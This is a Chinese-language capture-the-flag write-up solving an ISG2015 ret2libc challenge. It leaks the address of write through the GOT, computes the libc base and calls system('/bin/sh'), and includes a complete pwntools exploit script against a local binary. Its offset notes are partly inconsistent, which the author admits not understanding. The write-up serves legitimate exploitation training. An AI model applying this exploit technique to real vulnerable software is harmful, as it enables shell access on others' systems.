要认真学习!(破音)
很久没写了手都生了,先从简单的rop开始起手,之后慢慢增加难度
会每天坚持的!除非我死了(不是
一道ret2libc的题
是ISG2015的题
先IDA
很简单的结构,用的版本直接告诉了是libc-2.19
另外这里ida buf到ebp的距离是有问题的,实际调试距离是16
程序中给出的可用的函数的数据有:
write_plt_add
write_got_add
read_plt_add
read_got_add
write函数的第一个参数 0 1 2 分别对应 标准输入 标准输出 标准出错,那么可以利用write得到函数的真实地址,然后后面就是retlibc的标准操作惹
布置栈结构应该为
[
'A'18,
'A'4,
write_plt_add,
main,
0x1,
write_got_add,
0x4,
//以上用于获得write真实地址
'A'*12 //这里不知道为啥上一次的A会遗留到这次,导致真正的偏移不是原本的22
system,
'bbbb',
'/bin/sh'
]
from pwn import *
context.log_level="debug"
sh=process('./pwnme')
libc=ELF('/lib32/libc.so.6')
write_plt_add=0x08048370
write_got_add=0x0804a01c
read_plt_add= 0x08048330
read_got_add= 0x0804a00c
mian_add=0x804847D
libc_system=libc.symbols['system']
libc_write=libc.symbols['write']
libc_read=libc.symbols['read']
libc_binsh=next(libc.search('/bin/sh'))
p1='A'*20
p1+=p32(write_plt_add)+p32(mian_add)+p32(0x1)+p32(write_got_add)+p32(0x4)
sh.recvuntil(':')
pwnlib.gdb.attach(sh)
sh.sendline(p1)
print sh.recvline()
write_real_add=u32(sh.recv()[0:4])
print hex(write_real_add)
libc_add=write_real_add-libc_write
system_real_add=libc_add+libc_system
libc_real_binsh=libc_add+libc_binsh
p2='a'*12+p32(system_real_add)+'bbbb'+p32(libc_real_binsh)
sh.sendline(p2)
sh.interactive()
本来一堆调试的截图,妈的不知道为啥没保存,不想补了
辣鸡简书
he tui!